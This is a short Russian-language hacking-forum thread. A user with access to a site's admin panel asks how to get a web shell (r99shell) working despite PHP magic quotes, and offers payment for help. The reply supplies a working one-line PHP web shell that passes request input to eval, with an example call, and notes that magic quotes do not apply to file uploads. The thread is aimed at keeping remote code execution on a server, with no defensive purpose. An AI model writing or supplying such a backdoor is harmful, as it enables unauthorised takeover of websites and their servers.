Обход magic quotes

Discussion in 'Песочница' started by wussap, 5 Nov 2012.

  1. wussap

    wussap New Member

    Joined:
    18 Feb 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Есть доступ в адкимнку, есть возможность залить любой код для исполнения, но на сервере стоит php 5.2. и возникает ошибка из за magic quotes. Подскажите как обойти или какой шелл настроен под это? Заливал r99shell
     
    #1 wussap, 5 Nov 2012
  2. wussap

    wussap New Member

    Joined:
    18 Feb 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Мoжет кто подскажет за вознаграждение?
     
    #2 wussap, 5 Nov 2012
  3. Ravenous

    Ravenous Elder - Старейшина

    Joined:
    14 Jul 2012
    Messages:
    115
    Likes Received:
    29
    Reputations:
    26
    Если ты заливаешь код через форму(текстовое поле), то
    PHP:
    <?php eval(stripslashes($_REQUEST[1])); ?>
    Code:
    ?1=phpinfo();
    А если ты заливаешь через загрузку файла, то MQ не будет мешать, т.к. действует только на $_GET, $_POST, $_COOKIE
     
    #3 Ravenous, 5 Nov 2012
    Last edited: 5 Nov 2012
(You must log in or sign up to post here.)